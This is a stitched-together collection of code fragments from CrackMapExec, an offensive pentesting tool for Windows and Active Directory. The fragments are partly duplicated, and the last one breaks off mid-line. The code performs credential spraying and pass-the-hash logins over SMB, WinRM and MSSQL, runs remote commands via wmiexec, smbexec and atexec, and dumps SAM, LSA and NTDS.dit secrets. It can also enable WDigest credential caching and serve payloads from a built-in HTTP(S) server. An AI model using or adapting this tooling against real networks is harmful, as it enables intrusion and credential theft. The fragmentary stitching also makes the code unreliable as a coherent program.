def proto_logger(self): self.logger = CMEAdapter(extra={ 'protocol': "SMB", 'host': self.host, 'port': "445", 'hostname': self.hostname })
def log_message(self, format, *args): module = self.server.host_chain[self.client_address[0]][0] server_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.client_address[0] }) server_logger.info("- - %s" % (format % args))
def log_message(self, format, *args): server_logger = CMEAdapter( extra={ 'module': self.server.module.name.upper(), 'host': self.client_address[0] }) server_logger.info("- - %s" % (format % args))
def proto_logger(self, host, port, hostname): self.logger = CMEAdapter(extra={ 'protocol': 'LDAP', 'host': host, 'port': port, 'hostname': hostname })
def proto_logger(self): self.logger = CMEAdapter(extra={ 'protocol': 'SMB', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname })
def proto_logger(self): self.logger = CMEAdapter( extra={ 'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE' })
def proto_logger(self): #print 'Filename: ' + sys._getframe(0).f_code.co_filename + ' Method: ' + sys._getframe(0).f_code.co_name self.logger = CMEAdapter(extra={ 'protocol': 'WMI', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname })
def do_GET(self): current_module = self.server.host_chain[self.client_address[0]][0] if hasattr(current_module, 'on_request'): module_list = self.server.host_chain[self.client_address[0]][:] module_list.reverse() final_launcher = module_list[0].launcher( self.server.context, None if not hasattr(module_list[0], 'command') else module_list[0].command) if len(module_list) > 2: for module in module_list: if module == current_module or module == module_list[0]: continue server_logger = CMEAdapter( getLogger('CME'), { 'module': module.name.upper(), 'host': self.client_address[0] }) self.server.context.log = server_logger final_launcher = module.launcher(self.server.context, final_launcher) server_logger = CMEAdapter( getLogger('CME'), { 'module': current_module.name.upper(), 'host': self.client_address[0] }) self.server.context.log = server_logger if current_module == module_list[0]: final_launcher = None if not hasattr( module_list[0], 'command') else module_list[0].command launcher = current_module.launcher(self.server.context, final_launcher) payload = current_module.payload(self.server.context, final_launcher) current_module.on_request(self.server.context, self, launcher, payload) if not hasattr(current_module, 'on_response'): try: del self.server.host_chain[self.client_address[0]][0] except KeyError or IndexError: pass
def __init__(self, module, context, logger, srv_host, port, server_type='https'): try: threading.Thread.__init__(self) self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler) self.server.hosts = [] self.server.module = module self.server.context = context self.server.log = CMEAdapter(extra={'module': self.server.module.name.upper()}) self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem') self.server.track_host = self.track_host logging.debug('CME server type: ' + server_type) if server_type == 'https': self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True) except Exception as e: errno, message = e.args if errno == 98 and message == 'Address already in use': logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port') else: logger.error('Error starting HTTP(S) server: {}'.format(message)) sys.exit(1)
def init_module(self, module_path): module = None server = None context = None module = self.load_module(module_path) if module: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()}) context = Context(self.db, module_logger, self.args) module_options = {} for option in self.args.module_options: key, value = option.split('=', 1) module_options[str(key).upper()] = value module.options(context, module_options) if hasattr(module, 'on_request') or hasattr(module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not self.server_port: self. server_port = self.args.server_port server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server) server.start() return module, context, server
def call_modules(self): module_logger = CMEAdapter( extra={ 'module': self.module.name.upper(), 'host': self.host, 'port': self.args.port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = self.local_ip if hasattr(self.module, 'on_request') or hasattr( self.module, 'has_response'): self.server.connection = self self.server.context.localip = self.local_ip if hasattr(self.module, 'on_login'): self.module.on_login(context, self) if self.admin_privs and hasattr(self.module, 'on_admin_login'): self.module.on_admin_login(context, self) if (not hasattr(self.module, 'on_request') and not hasattr(self.module, 'has_response')) and hasattr( self.module, 'on_shutdown'): self.module.on_shutdown(context, self)
def proto_logger(self, port): self.logger = CMEAdapter( extra={ 'protocol': 'HTTP', 'host': gethostbyname(self.host), 'port': port, 'hostname': None })
def do_GET(self): if hasattr(self.server.module, 'on_request'): server_logger = CMEAdapter( getLogger('CME'), { 'module': self.server.module.name.upper(), 'host': self.client_address[0] }) self.server.context.log = server_logger self.server.module.on_request(self.server.context, self)
def do_POST(self): if hasattr(self.server.module, 'on_response'): server_logger = CMEAdapter( extra={ 'module': self.server.module.name.upper(), 'host': self.client_address[0] }) self.server.context.log = server_logger self.server.module.on_response(self.server.context, self)
def module_logger(self, module): # recreating the context necessary for send_fake_response() module_log = CMEAdapter(extra={ 'module': module.name.upper(), 'host': self.host, 'port': self.args.port, 'hostname': self.hostname }) self.db.add_computer(self.host, self.hostname, 'XXX', 'Vindovs') context = Context(self.db, module_log, self.args) return context
def init_module_chain(self): server_port_dict = {'http': 80, 'https': 443} modules = self.get_modules() #Initialize all modules specified in the chain command and add the objects to chain_list for chained_module in self.chain_list: for module in modules: if module.lower() == chained_module['name'].lower(): chained_module['object'] = self.load_module( modules[module]['path']) for module in self.chain_list: module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()}) context = Context(self.db, module_logger, self.args) if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai' getattr(module['object'], 'options')(context, module['options']) if hasattr(module['object'], 'required_server'): self.args.server = getattr(module['object'], 'required_server') if not self.args.server_port: self.args.server_port = server_port_dict[self.args.server] if self.is_module_chain_sane(): server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'}) context = Context(self.db, server_logger, self.args) server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server) server.start() return self.chain_list, server return None, None
def do_POST(self): self.server.log.debug(self.server.host_chain) module = self.server.host_chain[self.client_address[0]][0] if hasattr(module, 'on_response'): server_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.client_address[0] }) self.server.context.log = server_logger module.on_response(self.server.context, self) try: del self.server.host_chain[self.client_address[0]][0] except KeyError or IndexError: pass
def init_module(self, module_path): module = None server = None context = None server_port_dict = {'http': 80, 'https': 443} module = self.load_module(module_path) if module: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()}) context = Context(self.db, module_logger, self.args) module_options = {} for option in self.args.module_options: if '=' not in option: self.logger.error( 'All module options should be in KEY=VALUE format, use the --show-options flag to view available module options' ) sys.exit(1) key, value = option.split('=', 1) module_options[str(key).upper()] = value module.options(context, module_options) if hasattr(module, 'on_request') or hasattr( module, 'has_response'): if hasattr(module, 'required_server'): self.args.server = getattr(module, 'required_server') if not self.args.server_port: self.args.server_port = server_port_dict[self.args.server] server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server) server.start() return module, context, server
def init_module(self, module_path): module = None module = self.load_module(module_path) if module: module_logger = CMEAdapter(extra={'module': module.name.upper()}) context = Context(self.db, module_logger, self.args) module_options = {} for option in self.args.module_options: key, value = option.split('=', 1) module_options[str(key).upper()] = value module.options(context, module_options) return module
def do_GET(self): if hasattr(self.server.module, 'on_request'): server_logger = CMEAdapter( getLogger('CME'), { 'module': self.server.module.name.upper(), 'host': self.client_address[0] }) self.server.context.log = server_logger launcher = self.server.module.launcher( self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command) payload = self.server.module.payload( self.server.context, None if not hasattr(self.server.module, 'command') else self.server.module.command) self.server.module.on_request(self.server.context, self, launcher, payload)
def proto_flow(self): if self.create_conn_obj(): self.enum_host_info() self.proto_logger() self.print_host_info() self.login() if hasattr(self.args, 'module') and self.args.module: module_logger = CMEAdapter( extra={ 'module': self.module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = self.local_ip if hasattr(self.module, 'on_request') or hasattr( self.module, 'has_response'): self.server.connection = self self.server.context.localip = self.local_ip if hasattr(self.module, 'on_login'): self.module.on_login(context, self) if self.admin_privs and hasattr(self.module, 'on_admin_login'): self.module.on_admin_login(context, self) if (not hasattr(self.module, 'on_request') and not hasattr(self.module, 'has_response')) and hasattr( self.module, 'on_shutdown'): self.module.on_shutdown(context, self) else: self.call_cmd_args()
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8'))) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute(args.command, get_output=get_output) if args.pscommand: output = connection.execute(create_ps_command(args.pscommand), get_output=get_output) logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return
def main(): VERSION = '3.1' CODENAME = '\'Duchess\'' parser = argparse.ArgumentParser(description=""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) Inspired by: @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap @gojhonny's CredCrack https://github.com/gojhonny/CredCrack @pentestgeek's smbexec https://github.com/pentestgeek/smbexec {}: {} {}: {} """.format(highlight('Version', 'red'), highlight(VERSION), highlight('Codename', 'red'), highlight(CODENAME)), formatter_class=RawTextHelpFormatter, version='{} - {}'.format(VERSION, CODENAME), epilog='I swear I had something for this...') parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets") parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)") parser.add_argument('-id', metavar="CRED_ID", type=int, dest='cred_id', help='Database credential ID to use for authentication') parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='*', default=[], help="Username(s) or file(s) containing usernames") parser.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") msgroup = parser.add_mutually_exclusive_group() msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '*', default=[], help="Password(s) or file(s) containing passwords") msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') parser.add_argument("-M", "--module", metavar='MODULE', dest='module', help='Payload module to use') parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options') parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') parser.add_argument('--show-options', action='store_true', dest='show_options', help='Display module options') parser.add_argument("--share", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)") parser.add_argument("--smb-port", dest='smb_port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") parser.add_argument("--mssql-port", dest='mssql_port', default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)') parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') parser.add_argument("--server-port", dest='server_port', metavar='PORT', type=int, help='Start the server on the specified port') parser.add_argument("--local-auth", dest='local_auth', action='store_true', help='Authenticate locally to each target') parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)') parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output") rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials") rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)") rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1") egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", dest="enum_shares", help="Enumerate shares and access") egroup.add_argument('--uac', action='store_true', help='Checks UAC status') egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions') egroup.add_argument('--disks', action='store_true', dest='enum_disks', help='Enumerate disks') egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users') egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (default: 4000)') egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy') egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users') egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query') egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', dest='wmi_namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)') sgroup.add_argument("--content", dest='search_content', action='store_true', help='Enable file content searching') sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', dest='exclude_dirs', help='Directories to exclude from spidering') esgroup = sgroup.add_mutually_exclusive_group() esgroup.add_argument("--pattern", nargs='*', help='Pattern(s) to search for in folders, filenames and file content') esgroup.add_argument("--regex", nargs='*', help='Regex(s) to search for in folders, filenames and file content') sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)') cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Execute the specified PowerShell command') mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs") mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs') mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB') logger = CMEAdapter(setup_logger()) first_run_setup(logger) if len(sys.argv) == 1: parser.print_help() sys.exit(1) cme_path = os.path.expanduser('~/.cme') module = None server = None context = None targets = [] server_port_dict = {'http': 80, 'https': 443} args = parser.parse_args() if args.verbose: setup_debug_logger() if not args.server_port: args.server_port = server_port_dict[args.server] db_path = os.path.join(cme_path, 'cme.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = CMEDatabase(db_connection) if args.cred_id: try: c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0] args.username = [username] if not args.domain: args.domain = domain if credtype == 'hash': args.hash = [password] elif credtype == 'plaintext': args.password = [password] except IndexError: logger.error("Invalid database credential ID!") sys.exit(1) else: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) if args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) elif args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) for target in args.target: if os.path.exists(target): with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) loader = ModuleLoader(args, db, logger) modules = loader.get_modules() if args.list_modules: for m in modules: logger.info('{:<20} {}'.format(m, modules[m]['description'])) elif args.module: for m in modules.keys(): if args.module.lower() == m.lower(): if args.show_options: logger.info('{} module options:\n{}'.format(m, modules[m]['options'])) elif not args.show_options: module, context, server = loader.init_module(modules[m]['path']) try: ''' Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) jobs = [pool.spawn(connector, str(target), args, db, module, context, server) for target in targets] #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout if args.ntds or args.spider: joinall(jobs) elif not args.ntds: for job in jobs: job.join(timeout=args.timeout) except KeyboardInterrupt: pass if server: server.shutdown() logger.info('KTHXBYE!')
import asyncio import aioconsole import functools import configparser import cme.helpers.powershell as powershell import cme import shutil import webbrowser import sqlite3 import random import os import sys import logging setup_logger() logger = CMEAdapter() async def monitor_threadpool(pool, targets): logging.debug('Started thread poller') while True: try: text = await aioconsole.ainput("") if text == "": pool_size = pool._work_queue.qsize() finished_threads = len(targets) - pool_size percentage = Decimal(finished_threads) / Decimal( len(targets)) * Decimal(100) logger.info( f"completed: {percentage:.2f}% ({finished_threads}/{len(targets)})"
class winrm(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() self.print_host_info() if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE'}) def enum_host_info(self): # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname else: try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname try: smb_conn.logoff() except: pass except Exception as e: logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def print_host_info(self): if self.args.domain: self.logger.info(self.endpoint) else: self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, self.hostname, self.domain)) self.logger.info(self.endpoint) def create_conn_obj(self): endpoints = [ 'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986), 'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985) ] for url in endpoints: try: requests.get(url, verify=False, timeout=3) self.endpoint = url if self.endpoint.startswith('https://'): self.port = self.args.port if self.args.port else 5986 else: self.port = self.args.port if self.args.port else 5985 self.logger.extra['port'] = self.port return True except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) return False def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=password, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, password)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, password, e)) return False def hash_login(self, domain, username, ntlm_hash): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) lmhash = '00000000000000000000000000000000:' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash ntlm_hash = lmhash + nthash self.hash = nthash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=ntlm_hash, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, self.hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, self.hash)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, self.hash, e)) return False def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) except: self.logger.debug('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !') r = self.conn.execute_ps(self.args.execute) self.logger.success('Executed command') self.logger.highlight(r[0]) def ps_execute(self, payload=None, get_output=False): r = self.conn.execute_ps(self.args.ps_execute) self.logger.success('Executed command') self.logger.highlight(r[0])
class smb(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.smb_share_name = smb_share_name connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="enumerate shares and access") egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions') egroup.add_argument('--disks', action='store_true', help='enumerate disks') egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users') egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.') egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated') egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated') egroup.add_argument("--pass-pol", action='store_true', help='dump password policy') egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)') egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query') egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)') sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider') sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)') sgroup.add_argument("--content", action='store_true', help='enable file content searching') sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering') segroup = sgroup.add_mutually_exclusive_group() segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content') segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content') sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)') sgroup.add_argument("--only-files", action='store_true', help='only spider files') tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files") tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt 